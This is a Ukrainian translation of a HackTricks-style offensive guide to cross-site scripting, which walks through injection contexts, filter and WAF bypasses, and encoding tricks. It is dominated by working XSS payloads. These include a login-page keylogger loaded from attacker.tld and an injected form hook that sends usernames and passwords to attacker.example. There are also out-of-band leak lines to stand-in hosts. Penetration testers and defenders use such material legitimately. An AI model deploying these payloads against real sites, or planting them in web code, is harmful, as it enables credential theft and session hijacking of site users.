%.*s
XSS (Cross Site Scripting)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Методологія
- Перевірте, чи будь-яке значення, яким ви керуєте (parameters, path, headers?, cookies?) відображається в HTML або використовується в JS коді.
- Знайдіть контекст, де воно відображається/використовується.
- Якщо відображається
- Перевірте які символи ви можете використовувати і, залежно від цього, підготуйте payload:
- У raw HTML:
- Чи можете ви створити нові HTML теги?
- Чи можете ви використати events або атрибути, що підтримують протокол
javascript:? - Чи можете обійти захист?
- Чи інтерпретується HTML-контент якимось клієнтським JS-рушієм (AngularJS, VueJS, Mavo…), ви можете зловживати Client Side Template Injection.
- Якщо ви не можете створити HTML-теги, які виконують JS-код, чи можна зловживати Dangling Markup - HTML scriptless injection?
- Всередині HTML tag:
- Чи можете ви вийти в raw HTML контекст?
- Чи можете ви створити нові events/attributes для виконання JS-коду?
- Чи підтримує атрибут, в якому ви перебуваєте, виконання JS?
- Чи можете обійти захист?
- Всередині JavaScript code:
- Чи можете вийти з контексту тегу
<script>? - Чи можете вийти зі string (escape the string) і виконати інший JS-код?
- Чи знаходиться ваш введений текст у template literals ``?
- Чи можете обійти захист?
- Javascript function, що виконується
- Ви можете вказати ім’я функції для виконання. напр.:
?callback=alert(1) - Якщо використовується:
- Ви можете експлуатувати DOM XSS, зверніть увагу, як контролюється ваш ввід і чи ваш контрольований ввід використовується яким-небудь sink.
Коли працюєте з складним XSS, вам може бути цікаво дізнатися про:
Відображені значення
Щоб успішно експлуатувати XSS, перше, що потрібно знайти — це значення, яким ви керуєте і яке відображається на веб-сторінці.
- Intermediately reflected: Якщо ви виявите, що значення параметра або навіть path відображається на веб-сторінці, ви можете експлуатувати Reflected XSS.
- Stored and reflected: Якщо ви виявите, що значення, яким ви керуєте, зберігається на сервері і відображається щоразу при доступі до сторінки, ви можете експлуатувати Stored XSS.
- Accessed via JS: Якщо ви виявите, що значення, яким ви керуєте, отримується через JS, ви можете експлуатувати DOM XSS.
Контексти
Коли намагаєтесь експлуатувати XSS, перше, що потрібно знати — це де відображається ваш ввід. В залежності від контексту, ви зможете виконати довільний JS-код різними способами.
Raw HTML
Якщо ваш ввід відображається в raw HTML, вам потрібно буде використати якийсь HTML tag, щоб виконати JS-код: <img , <iframe , <svg , <script … це лише деякі з багатьох можливих HTML тегів, які можна використати.
Також пам’ятайте про Client Side Template Injection.
Inside HTML tags attribute
Якщо ваш ввід відображається всередині значення атрибута тега, ви можете спробувати:
- Вийти з атрибута і з тега (тоді ви опинитесь у raw HTML) і створити новий HTML тег для зловживання:
"><img [...] - Якщо ви можете вийти з атрибута, але не з тега (
>кодується або видаляється), залежно від тега ви можете створити event, який виконає JS-код:" autofocus onfocus=alert(1) x=" - Якщо ви не можете вийти з атрибута (
"кодується або видаляється), то залежно від того, в якому атрибуті відображається ваше значення і чи контролюєте ви все значення або лише частину, ви зможете ним зловживати. Наприклад, якщо ви контролюєте event якonclick=, ви зможете виконати довільний код при кліку. Інший приклад — атрибутhref, де можна використати протоколjavascript:для виконання коду:href="javascript:alert(1)" - Якщо ваш ввід відображається всередині «unexpoitable tags», ви можете спробувати трюк з
accesskey, щоб зловживати вразливістю (потрібна певна соціальна інженерія):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
Корпоративна SSO сторінка входу відображала OAuth параметр service всередині атрибута href елемента <a id="forgot_btn" ...>. Хоча < і > були HTML-кодовані, подвійні лапки не були, тому атакам вдалося закрити атрибут і повторно використати той самий елемент для інжекції обробників, наприклад " onfocus="payload" x=".
- Інжектувати обробник: Простi payload-и як
onclick="print(1)"блокувались, але WAF інспектував лише перший JavaScript-вираз в inline-атрибутах. Додавши нешкідливий вираз в дужках, потім крапку з комою, дозволило виконати реальний payload:onfocus="(history.length);malicious_code_here". - Автоматично його викликати: Браузери фокусують будь-який елемент, чий
idзбігається з фрагментом у URL, тому додавання#forgot_btnдо URL експлойта змушує anchor отримати фокус при завантаженні сторінки і запускає обробник без кліку. - Тримати inline-стаб малим: Ціль вже включала jQuery. Обробнику було достатньо ініціювати запит через
$.getScript(...), тоді як повний кейлогер жив на сервері атаки.
Створення рядків без лапок
Одинарні лапки поверталися URL-кодованими, а екрановані подвійні лапки псували атрибут, тому payload генерував кожен рядок за допомогою String.fromCharCode. Допоміжна функція спрощує перетворення будь-якого URL у коди символів перед вставкою в атрибут:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Отриманий атрибут виглядав так:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Чому це викрадає облікові дані
Зовнішній скрипт (завантажений з attacker-controlled host або Burp Collaborator) перехоплював document.onkeypress, буферизував натискання клавіш і щосекунди виконував new Image().src = collaborator_url + keys. Оскільки XSS спрацьовує лише для unauthenticated users, чутлива дія — сама login форма: нападник keylogs usernames and passwords навіть якщо жертва ніколи не натискає “Login”.
Дивний приклад Angular, який виконує XSS, якщо ви контролюєте назву класу:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
У коді JavaScript
У цьому випадку ваш введений текст відображається між тегами <script> [...] </script> на HTML-сторінці, всередині файлу .js або в атрибуті, що використовує протокол javascript::
- Якщо відображається між тегами
<script> [...] </script>, навіть якщо ваш ввід знаходиться в лапках будь-якого типу, можна спробувати інжектнути</script>і вийти з цього контексту. Це працює, тому що браузер спочатку розбирає HTML-теги, а потім їх вміст, отже він не помітить, що ваш вставлений тег</script>знаходиться всередині HTML-коду. - Якщо відображається всередині JS-рядка і попередній трюк не працює, вам потрібно вийти з рядка, виконати свій код і відновити JS-код (якщо буде помилка, вона не буде виконана):
'-alert(1)-'';-alert(1)//\';alert(1)//- Якщо відображається всередині template literals, ви можете вбудовувати JS-вирази використовуючи синтаксис
${ ... }:var greetings = `Hello, ${alert(1)}` - Unicode encode працює для запису валідного javascript-коду:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting позначає можливість оголошувати функції, змінні або класи після того, як вони були використані, що дозволяє зловживати сценаріями, де XSS використовує неоголошені змінні або функції.
Див. наступну сторінку для детальнішої інформації:
Javascript Function
На багатьох веб-сторінках є endpoints, які приймають як параметр ім’я функції для виконання. Поширений приклад у реальному житті: ?callback=callbackFunc.
Хороший спосіб дізнатися, чи щось, що передається користувачем, намагаються виконати — це змінити значення параметра (наприклад на ‘Vulnerable’) і подивитися в консоль на помилки типу:
.png)
Якщо воно вразливе, можна бути в змозі спровокувати alert, просто відправивши значення: ?callback=alert(1). Проте часто такі endpoints валідують вміст, дозволяючи лише літери, цифри, крапки та підкреслення ([\w\._]).
Однак навіть з таким обмеженням все ще можна виконувати певні дії. Це тому, що можна використати дозволені символи, щоб отримати доступ до будь-якого елементу в DOM:
.png)
Декілька корисних функцій для цього:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Ви також можете спробувати trigger Javascript functions безпосередньо: obj.sales.delOrders.
Однак зазвичай the endpoints, що виконують вказану функцію, не мають багато цікавого DOM; other pages in the same origin матимуть more interesting DOM для виконання додаткових дій.
Тому, щоб abuse this vulnerability in a different DOM була розроблена експлуатація Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Існує JS code, яке unsafely використовує деякі data controlled by an attacker, наприклад location.href. Зловмисник може скористатися цим для виконання довільного JS-коду.
Universal XSS
Ці типи XSS можна знайти скрізь. Вони не залежать лише від клієнтської експлуатації веб-застосунку, а від будь-якого context. Такі arbitrary JavaScript execution можуть навіть бути використані для отримання RCE, читання arbitrary files на клієнтах і серверах, тощо.
Декілька examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Коли ваш ввід відображається inside the HTML page або ви можете здійснити escape і інжектити HTML-код у цьому контексті, first що потрібно зробити — перевірити, чи можна зловживати символом < для створення нових тегів: просто спробуйте reflect цей char і перевірте, чи він HTML encoded або deleted, чи відображається reflected without changes. Тільки в останньому випадку ви зможете експлуатувати цю вразливість.
Для таких випадків також keep in mind Client Side Template Injection.
Примітка: HTML коментар можна закрити використовуючи****-->****або **--!>**
У цьому випадку, і якщо не використовується black/whitelisting, ви можете використати payloads типу:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Але якщо використовується tags/attributes black/whitelisting, вам доведеться brute-force which tags ви можете створити.
Після того як ви located which tags are allowed, вам потрібно brute-force attributes/events всередині знайдених валідних тегів, щоб перевірити, як можна атакувати контекст.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Потім відправте їх усі через Burp intruder і перевірте, чи якийсь тег не був розпізнаний WAF як зловмисний. Коли ви виявите, які теги доступні, ви можете brute force all the events з використанням валідних тегів (на тій самій веб-сторінці натисніть Copy events to clipboard і виконайте ту ж процедуру, що й раніше).
Custom tags
Якщо ви не знайшли жодного валідного HTML tag, можете спробувати create a custom tag і виконати JS код за допомогою атрибута onfocus. В XSS запиті потрібно закінчити URL символом #, щоб сторінка focus on that object і execute код:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Якщо використовується якийсь blacklist, ви можете спробувати обійти його за допомогою деяких простих трюків:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Більше tiny XSS для різних середовищ payload can be found here та here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
Якщо для експлуатації вразливості вам потрібно, щоб user натиснув на посилання або форму з попередньо заповненими даними, ви можете спробувати abuse Clickjacking (якщо сторінка вразлива).
Impossible - Dangling Markup
Якщо ви вважаєте, що неможливо створити HTML tag з атрибутом для виконання JS коду, перевірте Danglig Markup , оскільки ви могли б exploit вразливість без виконання JS коду.
Ін’єкція всередині HTML tag
Inside the tag/escaping from attribute value
Якщо ви знаходитеся inside a HTML tag, перше, що варто спробувати — це escape з тега та використати деякі техніки, згадані в previous section, щоб виконати JS код.
Якщо ви cannot escape from the tag, можна створити нові атрибути всередині тега, щоб спробувати виконати JS код, наприклад, використовуючи payload на кшталт (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Події стилю
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
У межах атрибуту
Навіть якщо ви не можете вийти з атрибуту (" кодується або видаляється), залежно від того, в який атрибут відображається ваше значення і чи контролюєте ви увесь рядок або лише його частину, ви зможете зловживати ним. Для прикладу, якщо ви контролюєте подію, таку як onclick= ви зможете змусити її виконати довільний код при натисканні.\
Ще один цікавий приклад — атрибут href, де ви можете використати протокол javascript: для виконання довільного коду: href="javascript:alert(1)"
Обхід всередині події за допомогою HTML encoding/URL encode
Символи, закодовані як HTML encoded characters, всередині значення атрибутів HTML-тегів декодуються під час виконання. Тому щось на кшталт наступного буде дійсним (payload виділено жирним): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Зауважте, що будь-який тип HTML encode є дійсним:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Зауважте, що URL encode також працюватиме:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass всередині event використовуючи Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Спеціальні протоколи в атрибуті
Тут ви можете використовувати протоколи javascript: або data: в деяких місцях, щоб виконувати довільний JS-код. Деякі вимагатимуть взаємодії користувача, деякі — ні.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Місця, куди ви можете вставити ці протоколи
Загалом протокол javascript: можна використовувати в будь-якому тегу, який приймає атрибут href та в більшості тегів, які приймають атрибут src (але не <img>).
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Інші obfuscation tricks
У цьому випадку трюки HTML encoding і Unicode encoding з попереднього розділу також працюють, оскільки ви перебуваєте всередині атрибуту.
<a href="javascript:var a=''-alert(1)-''">
Крім того, є ще один приємний трюк для таких випадків: Навіть якщо ваш ввід всередині javascript:... is being URL encoded, він буде URL decoded перед виконанням. Тому, якщо вам потрібно escape з string за допомогою single quote і ви бачите, що it’s being URL encoded, пам’ятайте, що it doesn’t matter, він буде interpreted як single quote під час execution time.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Зверніть увагу, що якщо ви спробуєте використати обидва URLencode + HTMLencode в будь-якому порядку для кодування payload, це не спрацює, але ви можете змішувати їх всередині payload.
Використання Hex and Octal encode з javascript:
Ви можете використовувати Hex та Octal encode всередині атрибуту src елементу iframe (принаймні), щоб оголосити HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Якщо ви можете інжектити будь-який URL у довільний <a href= тег, який містить атрибути target="_blank" and rel="opener", перевірте наступну сторінку, щоб скористатися цією поведінкою:
Обхід “on” event handlers
Насамперед перевірте цю сторінку (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) для корисних “on” event handlers.
Якщо якийсь blacklist забороняє створення цих event handlers, ви можете спробувати такі bypasses:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS у “Unexploitable tags” (hidden input, link, canonical, meta)
З тут тепер можна зловживати hidden inputs за допомогою:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
А в мета-тегах:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
From here: Ви можете виконати XSS payload inside a hidden attribute, за умови, що зможете переконати victim натиснути key combination. На Firefox Windows/Linux комбінація клавіш — ALT+SHIFT+X, а на OS X — CTRL+ALT+X. Ви можете вказати іншу комбінацію клавіш, використавши іншу клавішу в access key attribute. Ось вектор:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload буде приблизно таким: " accesskey="x" onclick="alert(1)" x="**
Blacklist Bypasses
У цьому розділі вже були показані кілька трюків із використанням різного кодування. Поверніться, щоб дізнатися, де можна використати:
- HTML encoding (HTML tags)
- Unicode encoding (може бути дійсним JS-кодом):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Прочитайте Blacklist Bypasses попереднього розділу.
Bypasses for JavaScript code
Прочитайте JavaScript bypass blacklist наступного розділу.
CSS-Gadgets
Якщо ви знайшли XSS у дуже маленькій частині сайту, яка потребує певної взаємодії (наприклад, маленьке посилання у footer з onmouseover), ви можете спробувати змінити простір, який займає елемент, щоб збільшити ймовірність спрацьовування посилання.
Наприклад, ви можете додати стилі в елемент типу: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Але якщо WAF фільтрує атрибут style, ви можете використати CSS Styling Gadgets, тому якщо ви знайдете, наприклад
.test {display:block; color: blue; width: 100%}
і
#someid {top: 0; font-family: Tahoma;}
Тепер ви можете змінити наше посилання і привести його до вигляду
<a href=“” id=someid class=test onclick=alert() a=“”>
Цей прийом взято з https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
У цьому випадку ваш input буде відображено всередині JS-коду у .js файлі або між <script>...</script> тегами, або в HTML-подіях, що можуть виконувати JS-код, або в атрибутах, що приймають протокол javascript:.
Escaping <script> tag
Якщо ваш код вставляється в <script> [...] var input = 'reflected data' [...] </script>, ви можете легко вийти за межі закриття тега <script>:
</script><img src=1 onerror=alert(document.domain)>
Зверніть увагу, що в цьому прикладі ми навіть не закрили одинарну лапку. Це тому, що розбір HTML спочатку виконується браузером, що включає виявлення елементів сторінки, зокрема блоків script. Розбір JavaScript для розуміння та виконання вбудованих скриптів виконується тільки пізніше.
Всередині JS коду
Якщо <> санітизуються, ви все одно можете екранізувати рядок там, де ваше введення розміщено, і виконати довільний JS. Важливо виправити синтаксис JS, оскільки при наявності помилок JS код не буде виконано:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Коли введені користувачем дані потрапляють всередину рядка JavaScript у лапках (e.g., server-side echo into an inline script), ви можете завершити рядок, inject код і відновити синтаксис, щоб парсинг залишався валідним. Загальна схема:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Приклад шаблону URL, коли вразливий параметр відображається в JS-рядку:
?param=test";<INJECTION>;a="
Це виконує JS зловмисника без необхідності торкатися HTML-контексту (чистий JS-in-JS). Поєднуйте з обходами чорного списку нижче, коли фільтри блокують ключові слова.
Шаблонні рядки \``
Для створення strings окрім одинарних та подвійних лапок JS також accepts backticks `` . Це відоме як шаблонні рядки, оскільки вони дозволяють embedded JS expressions using ${ ... } syntax.
Отже, якщо ви помітили, що ваш ввод відображається всередині JS string що використовує backticks, ви можете зловживати синтаксисом ${ ... } для виконання arbitrary JS code:
Цим можна зловживати за допомогою:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Готові payloads з eval(atob()) та нюанси області видимості
Щоб зробити URL коротшими й обійти наївні фільтри ключових слів, можна закодувати реальну логіку у base64 і виконати її через eval(atob('...')). Якщо просте фільтрування ключових слів блокує ідентифікатори, такі як alert, eval або atob, використовуйте Unicode-escaped ідентифікатори — вони компілюються однаково в браузері, але обходять фільтри порівняння рядків:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Важлива тонкість області видимості: const/let, оголошені всередині eval(), мають блочну область видимості і НЕ створюють глобальних змінних; вони не будуть доступні для наступних скриптів. Використовуйте динамічно інжектований <script> елемент, щоб визначити глобальні, non-rebindable hooks, коли це необхідно (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Посилання: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode-кодування для виконання JS
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists techniques
Рядки
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Спеціальні escape-послідовності
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Підстановки пробілів у JS-коді
<TAB>
/**/
Коментарі JavaScript (з JavaScript Comments трюку)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (з JavaScript new line трюк)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
Пробіли в JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript у коментарі
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript без дужок
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
